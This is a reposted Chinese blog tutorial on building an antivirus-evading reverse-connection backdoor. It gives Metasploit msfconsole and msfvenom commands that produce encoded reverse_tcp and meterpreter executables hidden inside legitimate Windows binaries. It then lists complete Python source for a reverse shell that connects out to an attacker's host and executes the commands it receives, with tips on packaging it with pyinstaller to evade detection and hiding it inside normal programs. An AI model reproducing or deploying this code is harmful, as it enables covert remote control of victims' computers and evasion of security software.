我是靠谱客的博主 飘逸芒果,最近开发中收集的这篇文章主要介绍Python安全之编写反弹连接‘免杀’后门前言:Msf后门工具:Python3反弹连接后门代码:使用方法:,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
前言:
平时使用工具制作免杀后门时,大大概率都会马上被杀软干掉。但是一次偶然的机会,使用msf生成一个raw格式的python后门没有被杀掉。于是就有了免杀思路,模仿msf生成的python代码手工写一个,然后用pyinstaller打包成exe,我亲测绝大部分杀软都不会杀。
Msf后门工具:
方法一msfconsole:
msf5 > use windows/shell/reverse_tcp
msf5 payload(windows/shell/reverse_tcp) > set lhost 10.1.13.80
msf5 payload(windows/shell/reverse_tcp) > show encoders
msf5 payload(windows/shell/reverse_tcp) > generate -b 'x00xff' -f exe -e x86/shikata_ga_nai -i 8 -k -x /usr/share/windows-binaries/radmin.exe -o radmin.exe
参数说明:
-b:去掉坏字符
-f:输入格式
-e:指定encoder
-i:几轮编码
-k:以线程形式运行
-x:指定要附着的程序
-o:输出
方法二msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp -x /usr/share/windows-binaries/whoami.exe LHOST=10.1.13.202 LPORT=1234 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe -o /lee/houmen/whoami2.exe
msfvenom常用参数:
-h:帮助
--list payloads:查看可用的payload
-p:指定payload
--list-options:查看当前指定的payload的可用参数
--list formats:查看可用的输出格式
-f:指定输出格式
--list archs:查看可用的架构
-a:指定架构
--list platforms:查看可用的平台
--platform:指定平台
-o:指定输出路径及文件名
-b:指定坏字符
-n:指定nop长度
--encoder:查看可用的编码(加密)模块
-e:指定编码(加密)方式
-i:加密几轮
不过很遗憾,我几乎把参数用完了,结果还是被杀软干掉了。今天我们就用Python写一个反弹连接的后门吧。
Python3反弹连接后门代码:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time :2020/1/3 9:53
# @Author :Donvin.li
# @File :backdoor_reverse.py
import sys #用于获取命令行参数
import getopt #用于获取命令行参数
import socket #用于建立TCP连接
import subprocess #用于返回操作系统命令
from threading import Thread #用于多线程
#2、命令行参数获取及功能(函数)选择
def main():
#2.1 开始获取参数
help=False #先要声明变量,否则假如命令行没有输入-h时,help变量不存在,会影响后面的判断
listen=False
try:
opts,x=getopt.getopt(sys.argv[1:],'t:p:hl') #命令行一共4个选项,l,h主要做判断,t,p传值
for y,z in opts:
if y=='-t':
target=z
elif y=='-p':
port=int(z)
elif y=='-h':
help=True
elif y=='-l':
listen=True
else:
pass
except:
print('没有此参数,帮助信息:python3 backdoor_reverse.py -h')
sys.exit() #try主要用来捕捉异常,避免输入不存在的参数程序报错
#2.2 开始根据捕捉的参数判断要执行的功能(函数)
if help:
usage() #如果输入的是-h,执行帮助信息函数usage()
elif listen:
server_backdoor(port) #如果输入的是-l,执行服务器端函数,服务器端需要一个参数port即可
else:
client_backdoor(target,port) #如果是其它的,执行客户端函数,客户端需要两个参数target,port
#3、设计服务器端函数
def server_backdoor(port):
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建socket对象
server.bind(('0.0.0.0',port)) #监听地址及端口
server.listen(10) #开始监听10个客户端
print('[*] 监听在:0.0.0.0 %d' % port) #监听成功打印
while True:
client_socket, addr = server.accept() #循环接受连接
print('[*] Accept from %s:%d' % (addr[0], addr[1])) #连接成功打印
t = Thread(target=command_send, args=(client_socket,)) #多线程启动command_send(client_socket)函数
t.start()
def command_send(client_socket):
while True:
command = input('shell_>') #接收输入
command += 'n' #每次输入完的内容末尾加一个n
client_socket.send(command.encode('utf-8')) #发送输入的值(操作系统命令)
#由于每次接收4096个字节的数据,假如一些系统命令的输出数据大于4096,那么将会出现返回的数据没接收完就打印了部分信息
#所以需要判断数据是否传完,传完才开始打印。
rec_len = 1
data = ''.encode('utf-8')
while rec_len:
response = client_socket.recv(4096) #每次接收4096个字节的数据
rec_len = len(response) #每次接收都计算数据包大小
data += response #每接收一次数据(4096字节)追加到data变量
if rec_len < 4096: #当数据包小于4096时可判断是最后一次传数据,那么就可以结束循环(接收数据)
break
print(data.decode('gbk'), end='') #接收完数据打印出来
def client_backdoor(target,port):
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target,port))
shell_send(client)
def shell_send(client):
while True:
cmd_buffer = ''.encode('utf-8')
while b'n' not in cmd_buffer:
response = client.recv(1024)
#print(response)
cmd_buffer += response
cmd = cmd_buffer.decode()
#print(cmd)
try:
out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) #这里是关键,就是讲系统命令用cmd传进来,并将结果赋给out
client.send(out)
except:
client.send(b"Failed to execute command.rn")
#1、设计基本功能和帮助信息
def usage():
print('基本功能: 客户端建立一个反弹连接,将自己执行系统命令的结果发送给服务器端')
print('hlep info: python3 backdoor_reverse.py -h')
print('Server端: python3 backdoor_reverse.py -lp [监听端口]')
print('Client端: python3 backdoor_reverse.py -t [目标IP] -p [监听端口]')
sys.exit()
if __name__=='__main__':
main()
几乎每一行都注释了,不在一一解释了。不过它只是一个基本的功能,有太多的问题需要完善。这是服务端和客户端二合一的程序,现实中当然是分离的好。将服务器端的代码部分放在正常的程序代码中,就成为名副其实的后门了。
使用方法:
python3 backdoor_reverse.py -h #查看帮助
python3 backdoor_reverse.py -lp 4444 #服务端(攻击者)监听端口等待客户端(受害者)连接
python3 backdoor_reverse.py -t 192.168.8.8 -p 4444 #连接远程端口
最后
以上就是飘逸芒果为你收集整理的Python安全之编写反弹连接‘免杀’后门前言:Msf后门工具:Python3反弹连接后门代码:使用方法:的全部内容,希望文章能够帮你解决Python安全之编写反弹连接‘免杀’后门前言:Msf后门工具:Python3反弹连接后门代码:使用方法:所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复